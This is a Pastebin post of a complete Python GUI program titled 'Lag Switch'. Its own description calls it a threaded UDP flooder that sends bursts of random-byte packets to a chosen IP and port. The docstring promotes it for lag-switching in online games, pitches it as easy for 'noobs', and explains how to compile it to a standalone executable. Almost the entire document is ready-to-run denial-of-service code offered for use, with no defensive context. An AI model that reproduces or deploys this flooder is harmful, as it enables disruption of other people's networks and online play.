Advertisement
K-Metal

"Lag Switch"

Aug 31st, 2016 (edited)
3,738
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.29 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3.  
  4. # Name:         King 6200
  5. # Date:         8.31.2016
  6. # Description:  Basic GIL-Threaded UDP Flooder in Python
  7. # GUI Lib
  8. from PySide.QtGui import *
  9. from PySide.QtCore import *
  10.  
  11. # standard libs
  12. import sys
  13. import time
  14. import socket
  15. import threading
  16. import random
  17.  
  18. class MainWindow(QWidget):
  19.     '''
  20.         Python made UDP FLooder
  21.         Can be used to lag switch (main point)
  22.         Easy to use for noobs who like switching
  23.         Can be compiled to standalone .exe with either:
  24.             * Nuitka
  25.             * PyInstaller
  26.             * Py2Exe
  27.             * cxFreeze
  28.             * Cython
  29.      '''
  30.  
  31.     # control variables
  32.     running  = False # flood threads
  33.     updating = True  # label update thread
  34.     threads  = []    # hold flood threads
  35.     sent     = 0     # track packets sen
  36.     dataSize = 1     # changable data size
  37.  
  38.     def __init__(self):
  39.         ''' Setup everything '''
  40.         super(MainWindow, self).__init__()
  41.         self.initUI()
  42.         self.create_widgets()
  43.         self.update_thread = self.create_thread(self.updateLabels)
  44.  
  45.     def initUI(self):
  46.         ''' Create key parts to window '''
  47.  
  48.         # window options
  49.         self.resize(480, 240)
  50.         self.setWindowTitle("Lag Switch")
  51.  
  52.         # set program layout
  53.         self.layout = QVBoxLayout()
  54.         self.setLayout(self.layout)
  55.  
  56.         # set program style sheet
  57.         self.setStyleSheet("""
  58.             QPushButton, QLabel, QLineEdit
  59.             { font-size: 12px; padding: 5px; }
  60.             QPushButton {
  61.                 font-size: 16px;
  62.                 padding-left: 25px;
  63.                 padding-right: 25px;
  64.             }
  65.             """)
  66.  
  67.     def closeEvent(self, event):
  68.         ''' Make sure all running threads are killed '''
  69.         self.running  = False
  70.         self.updating = False
  71.         for x in self.threads:
  72.             t = self.threads.pop(self.threads.index(x))
  73.             t.join(1)
  74.             del t
  75.         self.update_thread.join(1)
  76.         del self.update_thread
  77.  
  78.         # close program normally
  79.         super(MainWindow, self).closeEvent(event)
  80.  
  81.     def create_widgets(self):
  82.         ''' Create UI Widgets '''
  83.  
  84.         # setup layouts
  85.         top = QHBoxLayout()
  86.         mid = QHBoxLayout()
  87.         opt = QGridLayout()
  88.         snt = QHBoxLayout()
  89.         bot = QHBoxLayout()
  90.  
  91.         # top layout (ip and port)
  92.         self.ip_box = QLineEdit("127.0.0.1")
  93.         self.port_box = QLineEdit("80")
  94.         top.addWidget(QLabel("IP Address:"))
  95.         top.addWidget(self.ip_box)
  96.         top.addWidget(QLabel("Port (0=random):"))
  97.         top.addWidget(self.port_box)
  98.  
  99.         # mid layout (data slider)
  100.         self.dataSlider = QSlider(Qt.Horizontal)
  101.         self.dataSlider.setRange(0, 65)
  102.         self.dataSlider.setValue(1)
  103.         self.dataSlider.setTickInterval(1)
  104.         self.dataSlider.valueChanged.connect(self.updateData)
  105.         self.dataLabel  = QLabel("0 kb")
  106.         mid.addWidget(self.dataSlider)
  107.         mid.addWidget(self.dataLabel)
  108.  
  109.         # options layout (threads, delay)
  110.         self._threads = QLineEdit("1")
  111.         self._delay = QLineEdit("100")
  112.         opt.addWidget(QLabel("Threads:"), 0, 0)
  113.         opt.addWidget(self._threads, 0, 1)
  114.         opt.addWidget(QLabel("Delay (ms):"), 1, 0)
  115.         opt.addWidget(self._delay, 1, 1)
  116.  
  117.         # button layout (start top)
  118.         self.startButton = QPushButton("Start")
  119.         self.startButton.clicked.connect(self.startFlood)
  120.         self.stopButton  = QPushButton("Stop")
  121.         self.stopButton.clicked.connect(self.stopFlood)
  122.         bot.addWidget(self.startButton)
  123.         bot.addStretch(1)
  124.         bot.addWidget(self.stopButton)
  125.  
  126.         # send layout (packets sent)
  127.         self.dataSent = QLabel("0")
  128.         snt.addWidget(QLabel("Sent Packets:"))
  129.         snt.addStretch(1)
  130.         snt.addWidget(self.dataSent)
  131.  
  132.         # make boxes int only
  133.         int_boxes = [self.port_box, self._threads, self._delay]
  134.         [self.setIntValidator(w) for w in int_boxes]
  135.  
  136.         # add made layouts to main layout
  137.         self.layout.addLayout(top)
  138.         self.layout.addLayout(mid)
  139.         self.layout.addLayout(opt)
  140.         self.layout.addStretch(1)
  141.         self.layout.addLayout(snt)
  142.         self.layout.addLayout(bot)
  143.  
  144.     def updateData(self, *args):
  145.         ''' Update the data value '''
  146.         value = self.dataSlider.value()
  147.         self.dataLabel.setText(str(value)+" kb")
  148.         self.dataSize = value
  149.  
  150.     def updateLabels(self):
  151.         ''' Update any labels '''
  152.         while self.updating:
  153.             self.dataSent.setText(str(self.sent))
  154.             time.sleep(0.1)
  155.  
  156.     def setIntValidator(self, widget):
  157.         ''' Only integers in text boxes '''
  158.         widget.setValidator(QIntValidator(self))
  159.         widget.setMaxLength(5)
  160.  
  161.     def validateNum(self, widget):
  162.         ''' Verify if theres an int in the box '''
  163.         text = str(widget.text())
  164.         if text.isspace() or text == '':
  165.             return (False, 0)
  166.         else:
  167.             return (True, int(text))
  168.  
  169.     def startFlood(self):
  170.         ''' Create and run attack threads '''
  171.         if self.running: return
  172.  
  173.         # threds, delay and port
  174.         valid, _t = self.validateNum(self._threads)
  175.         if not valid or _t == 0: _t = 1 # default values
  176.         valid, _d = self.validateNum(self._delay)
  177.         if not valid or _d == 0: _d = 100 # default values
  178.         valid, _p = self.validateNum(self.port_box)
  179.         if not valid: _p = 80
  180.         if _p == 0: _p == "rand"
  181.  
  182.         # ip address
  183.         try:
  184.             ip = socket.gethostbyname(str(self.ip_box.text()))
  185.         except:
  186.             self.errorMsg("Can't resolve IP Address Nub!\nGIT GUD")
  187.             return
  188.  
  189.         # create threads
  190.         self.running = True
  191.         self.sent = 0
  192.  
  193.         for x in range(int(_t)):
  194.             _thread = self.create_thread(self.Flood, ip, _p, int(_d))
  195.             self.threads.append(_thread)
  196.  
  197.  
  198.     def stopFlood(self):
  199.         ''' Stop flooding for all threads '''
  200.         self.running = False
  201.         for x in self.threads:
  202.             t = self.threads.pop(self.threads.index(x))
  203.             t.join()
  204.             del t
  205.  
  206.     def Flood(self, ip, port, delay):
  207.         ''' Flood a target with UDP Packets '''
  208.  
  209.         # setup socket and values
  210.         s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  211.         delay = delay / 1000.0
  212.         if str(port) == "rand": port = random.randint(0, 65535)
  213.         else: port = int(port)
  214.  
  215.         # flood
  216.         while self.running:
  217.             if not self.running:
  218.                 break
  219.  
  220.             if self.dataSize > 1:
  221.                 data = random._urandom(random.randint(0, 1024))
  222.             else:
  223.                 data = random._urandom(self.dataSize * 1024)
  224.             self.sent += 1
  225.             s.sendto(data, (ip, port))
  226.             time.sleep( delay )
  227.  
  228.     def create_thread(self, func, *args):
  229.         ''' Create GIL-Locked Thread '''
  230.         t = threading.Thread(target=func, args=args)
  231.         t.daemon = True
  232.         t.start()
  233.         return t
  234.  
  235.     def errorMsg(self, message):
  236.         ''' Display any error messages '''
  237.         msg = QMessageBox()
  238.         msg.setIcon(QMessageBox.Warning)
  239.         msg.setText(str(repr(message)))
  240.         msg.setWindowTitle("Lag Error")
  241.         msg.exec_()
  242.  
  243. ''' Start the Program '''
  244. if __name__ == '__main__':
  245.     app = QApplication(sys.argv)
  246.  
  247.     win = MainWindow()
  248.     win.show()
  249.  
  250.     sys.exit(app.exec_())
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement